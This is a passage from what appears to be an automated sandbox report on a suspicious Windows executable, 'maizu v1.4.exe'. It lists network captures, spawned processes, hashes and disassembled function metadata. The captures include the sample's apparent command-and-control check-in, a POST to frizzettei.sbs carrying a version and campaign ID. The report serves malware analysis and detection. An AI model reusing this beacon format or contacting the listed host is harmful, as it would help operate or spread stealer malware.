2024-10-07 04:44:05 UTC	859	IN	Data Raw: 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f Data Ascii: eparator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Clo
2024-10-07 04:44:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	188.114.97.3	443	5832	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 04:44:06 UTC	351	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=_4Zr1BJ.a3yM_aA0zbr0Z_Y7Ctc_eOJECJr.LMUQ5g4-1728276245-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: frizzettei.sbs
2024-10-07 04:44:06 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 73 64 61 74 65 74 6a 77 61 7a 79 70 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--sdatetjwazyp&j=
2024-10-07 04:44:06 UTC	821	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 04:44:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=32vh4s899pmae0k4c9q2vm7i0l; expires=Thu, 30 Jan 2025 22:30:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tFzp2X%2FZ%2FLnsjZChWADhrMmx86L6NVLlqYo6IxLIFasCyWqjFb3HkF1nzcejTw9jWB9AFfQ3Gjnuti8QKt3JMKlVl9soyxkpU0TwZhs59Gobb3q9ENhqPz9b5NikCObAPQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ceb3bea389c0f47-EWR alt-svc: h3=":443"; ma=86400
2024-10-07 04:44:06 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 04:44:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:44:01
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\maizu v1.4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\maizu v1.4.exe"
Imagebase:	0xbc0000
File size:	560'504 bytes
MD5 hash:	38A5C7E69CB36A95A2F6089D741487DD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:44:01
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x4b0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:44:06
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1656
Imagebase:	0xa00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:44:06
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1636
Imagebase:	0xa00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:44:09
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1644
Imagebase:	0xa00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:44:10
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1572
Imagebase:	0xa00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:44:10
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5832 -s 1592
Imagebase:	0xa00000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.3%
Total number of Nodes:	270
Total number of Limit Nodes:	5

Executed Functions

Function 00BC1FE0 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 433
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00C448E0,000004E4,00000040,?), ref: 00BC2497

Strings

MZx, xrefs: 00BC24A9, 00BC24B5, 00BC24BA
V, xrefs: 00BC2408

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: ProtectVirtual
String ID: MZx$V
API String ID: 544645111-3958614188
Opcode ID: a8f8dcd29cad7d396331ac7c4d56dc40fe0e2fde1495fbfbcbfe3dea1ca8ebee
Instruction ID: b8fe4a7a7be2d7219a9083f2aa1c3e89323d69e092403d86d4d925eaa84a58cf
Opcode Fuzzy Hash: a8f8dcd29cad7d396331ac7c4d56dc40fe0e2fde1495fbfbcbfe3dea1ca8ebee
Instruction Fuzzy Hash: 28A11217630E1F07D30CA2358D927F6918AE7BB731F85037BAE66AB7F5D35A09019284

Function 00BDA39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction ID: 45fe6e1a0d8df91b352d7c748bb8a411a2bb6cb6958704c33d23e2c7e48e1771
Opcode Fuzzy Hash: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction Fuzzy Hash: E7E08C32911228EBCB24DB89C944D8AF3EDEB45B10B1104ABF501D3200D270DE00C7D0

Function 00BD0C7E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction ID: 76277717527733b8e9b1812a13cfb052580eeb875f8e80e34f036598e2b9284e
Opcode Fuzzy Hash: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction Fuzzy Hash: 44C08C34460E0087CE2AAD1092B53A8B3D5E391783F9809CEC4124BB42F52E9C82D701

Function 00BD5C98 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,B347C343,?,00BD5DA5,00BCC196,?,F8250000,00000000), ref: 00BD5D59

Strings

api-ms-, xrefs: 00BD5CEF
ext-ms-, xrefs: 00BD5D03

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 69105716ec4e93abd311c1e33f9e5b24906fd419c52459e7b5e1380b6a06b4d1
Instruction ID: b50e0362b8dcfeddccde5163fa466ad18f2d7e04dd5ddc897ce7fb5414aadb46
Opcode Fuzzy Hash: 69105716ec4e93abd311c1e33f9e5b24906fd419c52459e7b5e1380b6a06b4d1
Instruction Fuzzy Hash: 9421C671A00A15A7D7319760DC89E5AB7D9EB42764B1401A1E916AF3D2FB30ED00C6B0

Function 00BD8B7C Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00BD8D2B

Part of subcall function 00BD37D3: HeapAlloc.KERNEL32(00000000,00BD9EFA,?,?,00BD9EFA,00000220,?,?,?), ref: 00BD3805

__freea.LIBCMT ref: 00BD8D40
__freea.LIBCMT ref: 00BD8D50

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 0e3ae784c3c3cd97970efc8af77acd0d8a9420f3133facd528e34ae1d2195d88
Instruction ID: 2a52095b9c3b4b767f1ff67b30465a3cdf3ee056b4f0be8295bc16410048a065
Opcode Fuzzy Hash: 0e3ae784c3c3cd97970efc8af77acd0d8a9420f3133facd528e34ae1d2195d88
Instruction Fuzzy Hash: BC51A272611106AFEB219F649C81EBBB6EAEF14751B1905AEFD08D6390FF71CC1086A0

Function 00BD0C0A Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00BD0D60,?,00BD0C04,00000000,?,?,00BD0D60,B347C343,?,00BD0D60), ref: 00BD0C1B
TerminateProcess.KERNEL32(00000000,?,00BD0C04,00000000,?,?,00BD0D60,B347C343,?,00BD0D60), ref: 00BD0C22
ExitProcess.KERNEL32 ref: 00BD0C34

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: f65edaae28d771d15c219155d11ce0dea954bd326499aa6dcc0f9bb289544e56
Instruction ID: 351da651cae47a9b89597d9e968daa1afd5d006e6fa83b9803d398c17605530e
Opcode Fuzzy Hash: f65edaae28d771d15c219155d11ce0dea954bd326499aa6dcc0f9bb289544e56
Instruction Fuzzy Hash: 12D09E31020148AFCF513F61DD4DA4D7F6AEF44382F544151B9094A172EF719995DB94

Function 00BDA0F8 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BD9C26: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00BD9C51

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00BD9F3D,?,00000000,?,?,?), ref: 00BDA159
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00BD9F3D,?,00000000,?,?,?), ref: 00BDA19B

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 966148007c2b9508f839caa4ece6aa9e0c3bc6a370d6d446372731f45349b559
Instruction ID: b32eae52699770d87ec47bbde69c08b74c4abc9eed993597391875d3627909cb
Opcode Fuzzy Hash: 966148007c2b9508f839caa4ece6aa9e0c3bc6a370d6d446372731f45349b559
Instruction Fuzzy Hash: 3D513571A002859EDB21CF76C881AAAFBF4FF42300F1844AFD0969B352F7759946CB52

Function 00BD60B6 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00BD8C6A,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00BD60EA
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00BD8C6A,?,?,00000000,?,00000000), ref: 00BD6108

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: ce330fd3d840cecbbd14efaa8ecce947e9814658673b7c92ab34e071a119eed1
Instruction ID: 7abb4d1b3ce5ad8a762f35519f1738dd12de6767644e86985ab675f36f1a1c8d
Opcode Fuzzy Hash: ce330fd3d840cecbbd14efaa8ecce947e9814658673b7c92ab34e071a119eed1
Instruction Fuzzy Hash: 60F07A3240025EBBCF225F90DD45DDE7F66EF487A0F058051FA1869121DB36C971EB91

Function 00BD9CFA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00BD9F49,00BD9F3D,00000000), ref: 00BD9D2C

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 3424e3ce5fb30d1514870722b2b21c24c47a2542b7df3bbd7aaf6d5113449e92
Instruction ID: 0d30b139de87ccf2e49e890fb4bee6885e32904f0f6b074556d5faa079998f58
Opcode Fuzzy Hash: 3424e3ce5fb30d1514870722b2b21c24c47a2542b7df3bbd7aaf6d5113449e92
Instruction Fuzzy Hash: 99513B719041589FDB21CE28CC80BE6BBFDEB56304F2405EEE49AC7282E2719D49DF20

Function 00BD5D63 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3294f1bacb11fc1dd68f7123e95118e3c518703f2b74bedec6a571eb233203c
Instruction ID: 766dafe68b6f5b6fa0bce936a0c1b922f4ef7512e3100a79feac5d867de8d1e4
Opcode Fuzzy Hash: c3294f1bacb11fc1dd68f7123e95118e3c518703f2b74bedec6a571eb233203c
Instruction Fuzzy Hash: 2D01DE37310A119B9B268E6DEC84E5AB7DBFB843207248172F900DB299EA308C0197A0

Non-executed Functions

Function 00C0BBA0 Relevance: 20.7, Strings: 15, Instructions: 1988COMMON

Download Yara Rule

Strings

4, xrefs: 00C0C814
yz{|, xrefs: 00C0C6BF
p, xrefs: 00C0D021
8;:=, xrefs: 00C0C6D5
,, xrefs: 00C0CC77
0325, xrefs: 00C0C6EB
`onm, xrefs: 00C0C900
lcba, xrefs: 00C0C8D4
pwvu, xrefs: 00C0C8B3
@GFE, xrefs: 00C0C937
(+*-, xrefs: 00C0C6A9
,/.!, xrefs: 00C0C6B4
$'&9, xrefs: 00C0C6CA
lkji, xrefs: 00C0C90B
efgh, xrefs: 00C0C6E0

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: $'&9$(+*-$,$,/.!$0325$4$8;:=$@GFE$`onm$efgh$lcba$lkji$p$pwvu$yz{|
API String ID: 0-4284672935
Opcode ID: 17a9da9fb198ce4cff53889ca9a74bbfb73063c59ecad7ce56909eb832305105
Instruction ID: c052874a186fe59483fed3cd0c9f3d65808a820906c38f3ae9ef0ed201f6c189
Opcode Fuzzy Hash: 17a9da9fb198ce4cff53889ca9a74bbfb73063c59ecad7ce56909eb832305105
Instruction Fuzzy Hash: 45F266B15083819BD730CF94D884BAFBBE1BF8A305F144A2DE4C99B292D7359945CB93

Function 00C1B570 Relevance: 11.5, Strings: 9, Instructions: 256COMMON

Download Yara Rule

Strings

W7JI, xrefs: 00C1B5E3
0W4i, xrefs: 00C1B61B
;_(Q, xrefs: 00C1B60D
8O?A, xrefs: 00C1B5F1
=G!Y, xrefs: 00C1B5FF
4[&], xrefs: 00C1B606
2C!E, xrefs: 00C1B5F8
7S.U, xrefs: 00C1B614
A3W5, xrefs: 00C1B5DC

Memory Dump Source

Source File: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID:
String ID: 0W4i$2C!E$4[&]$7S.U$8O?A$;_(Q$=G!Y$A3W5$W7JI
API String ID: 0-83756894
Opcode ID: c1abe5d969104e4faaeeb94a57dcd0a77674fd740321b7385ce3fa244a949eb5
Instruction ID: 0b5040b0af35fcc01eeb62cabf5066da19909f4556f62dcbc5acec56076a2376
Opcode Fuzzy Hash: c1abe5d969104e4faaeeb94a57dcd0a77674fd740321b7385ce3fa244a949eb5
Instruction Fuzzy Hash: A581ADB490020ADBDB11CF94C991BBEB7B1FF56301F244188E854AB391E734AE91DFA5

Function 00BDD0ED Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00BDD2D1

Strings

1#SNAN, xrefs: 00BDD1F9
1#INF, xrefs: 00BDD223
1#IND, xrefs: 00BDD1F2
1#QNAN, xrefs: 00BDD200

Memory Dump Source

Source File: 00000000.00000002.2082633882.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.2082616031.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082665928.0000000000BE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082686970.0000000000BEC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2082723986.0000000000C44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083295233.0000000000C45000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2083352998.0000000000C47000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_maizu v1.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
